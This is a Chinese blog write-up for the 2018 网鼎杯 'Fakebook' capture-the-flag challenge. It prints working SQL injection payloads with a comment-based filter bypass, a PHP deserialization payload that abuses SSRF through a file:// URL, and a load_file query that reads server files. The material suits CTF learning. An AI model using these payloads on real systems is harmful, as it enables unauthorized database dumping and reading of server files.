当前位置:网站首页>[网鼎杯 2018]Fakebook1 参考
[网鼎杯 2018]Fakebook1 参考
2022-06-22 03:20:00 【一只Traveler】
博主:[网鼎杯 2018]Fakebook 1_bazzza的博客-CSDN博客
进入靶场,是一个登录界面,先注册一个账号看看,注册的时候,发现对blog有过滤,注册完登录进去发现界面是这样的,
可以看到页面下方访问了我们注册的blog,内联表单的值是用(data:text/html;base64,)将数据直接嵌入到页面中的,可以大胆的推测他可以进行ssrf,但是blog在注册时是经过过滤的,只能是固定的格式,看起来是难以利用的。
寻找其它突破点,我尝试修改url中的no值,发现可以注入,而且是最基本的注入
注入
- ?no=1 order by 4#
- ?no=2 union/**/select 1,2,3,4# 这个地方它会把union select过滤掉,加/ ** /可以绕过,在字段2的地方有回显
- ?no=2 union/**/select 1,database(),3,4#
- ?no=2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database()# 表名users
- ?no=2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name=‘users’# 字段名:no,username,passwd,data
- ?no=2 union/**/select 1,group_concat(no,’-’,username,’-’,passwd,’-’,data),3,4 from users# 最后得到的data数据时一串反序列化的数据

上面也有提示,使用unserialize()进行了反序列化,而且右边也爆出了它的路径。有经验的师傅已经可以拿到答案了。但我不行,我要绕路。
然后,我看别人的wp,对目录扫描后可直接扫描出来robots.txt和flag.php,我自己也扫了一下,发现确实有,看来还是经验不足,以后拿到网站还是要先放进去扫描一下。
打开robots.txt,里面有个user.php.bak,访问一下,拿到源码,里面是一个userinfo的类,分析一下
这是对blog进行过滤的正则
可以看到过滤的十分严格,直接限制死了只能是http(s): //格式,所以在注册的的是侯操作是不太可能的。
再看另一部分
这个地方是直接吧blog当作参数传给get()函数,url没有经过任何限制,是存在ssrf的。
好的,这个地方可以使用file:///var/www/html/flag.php读取flag.php,结合我们上面的反序列化,我们试着构造我们的序列化代码。
最终poc,选择4号字段是试出来的
?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
- 1
再查看网页源代码,可以发现内联表单里面有嵌入base64的加密信息,进行解密
拿到flag
我看别人的题解,这个题再比赛的时候还有一个非预期解(现在的环境试修复好的)
mysql中的load_file函数没有禁用,允许访问系统文件,并将内容以字符串形式返回,不过需要的权限很高,且函数参数要求文件的绝对路径。
load_file函数只要满足两个条件就可以使用:
1、文件权限:chmod a+x pathtofile
2、文件大小: 必须小于max_allowed_packet
前面我们知道文件的绝对路径了,现在看下当前用户的权限,
?no=2 union/**/select 1,user(),3,4#
是最高的root权限,是可以直接使用load_file函数来读取flag.php的
?no=2 union/ ** /select 1,load_file("/var/www/html/flag.php"),3,4#
边栏推荐
猜你喜欢

eu5,eu7,ex3,ex5安装第三方app

深度学习期末复习

Hosting environment, components, APIs, collaboration and publishing of applets

【leetcode周赛总结】LeetCode第298场周赛总结(6.19)

【NVMe2.0b 12】NVM 容量模型

不规范的命名

华硕重装系统键盘灯失效 =>重装ATK驱动

Are you a technology manager or a project manager?
![[crawler notes 1] environment construction and necessary tools selenium](/img/58/e11951ce1b240fb4ac1398cb1a8b50.png)
[crawler notes 1] environment construction and necessary tools selenium

opencv安装(x86/tx2 cuda/共享库)
随机推荐
VS正在加载符号导致程序启动变慢
简单入门到彻底搞懂防抖和节流
A solution to memory leak in server
powerdesigner CDM中联系理解
Use the serialize common command
你是一名技术管理者还是项目管理者?
Runtime package for golang concurrent programming
CMD view the console output of hearts, diamonds, spades and clubs to solve the garbled code
服装实体店如何突破销售困境
float浮点数理解
策略模式
[nvme2.0b 8] nvme queue arbitration mechanism
uv_loop_init()流程
golang并发编程之runtime包
C语言整数取值范围-负数多1的问题
【NVMe2.0b 5】NVM Subsystem
3000元投影仪对比评测,当贝D3X完胜极米NEW Z6 X
从根儿上理解虚拟内存
If you specify it as a gateway, does it become a gateway
调度功能:splunk-operator-controller-manager




